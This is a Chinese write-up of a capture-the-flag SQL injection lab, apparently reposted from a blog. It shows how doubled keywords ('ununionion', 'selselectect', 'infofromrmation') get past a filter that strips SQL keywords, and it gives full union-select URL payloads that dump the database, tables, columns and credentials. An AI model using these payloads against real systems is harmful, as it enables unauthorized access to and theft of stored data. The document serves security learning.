自学内容网 自学内容网

[极客大挑战 2019]BabySQL1

这是上一个SQL注入的升级版,首先打开靶机

有了上次的经验,我们直接联合查询:?username=aaa'union select null,null,null#&password=1234

看报错信息,null,null,null#有错误,猜测select被过滤了

我们把 select 改成 selselectect,这样 select 被过滤后,剩下的sel和ect又可以拼成 select

可以看到select确实出现了,但是union没有出现,应该也是被过滤了,同样的,我们做个拼接

?username=aaa'ununionion selselectect null,null,null#&.....

 

 成功登陆,接下来我们把null换成 11,22,33,找到注入点,然后利用注入点查看 数据库名(跟上一个题目类似,这里不多写了)。可以看到有个geek的数据库

?username=aaa'ununionion seleselectct 11,database(),33#&.....

接着我们查看数据库中的表  ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

看到报错了, from information_schema没有出现在错误信息里,这时候猜测 from or 都被过滤了,跟上面的做法类似,我们做个拼接 ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) frfromom infofromrmation_schema.tables whewherere table_schema=database()#

这里一个小技巧,information我们给拼接为 info-from-rmation,这样中间的from被过滤之后,剩下的部分刚好拼接为 information

然后我们看看b4bsql里面哪些列  ?username=aaa'ununionion seleselectct 11,database(),group_concat(column_name) frfromom infofromrmation_schema.columns whewherere table_name='b4bsql'#

接着把b4bsql表中的内容取出来  ?username=aaa'ununionion seleselectct 11,database(),group_concat(id,username,passwoorrd) frfromom b4bsql#  拿到flag

总结一下,这个题目在现实的程序中应该没有,服务器把 from  unino select or (估计还有 order by等等)这些关键字过滤,过滤方式是如果 字符串中存在,则直接替换为空(注意不是空格,而是空,这就给我们利用这个规则,拼接sql语句提供了可能)。搞明白这个规则之后,后面的操作就是常规的SQL注入了。不过我对SQL语句还是不熟练,所以在拼接的时候还出现很多错误。继续积累经验。 


原文地址:https://blog.csdn.net/jamesP777/article/details/140673682

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!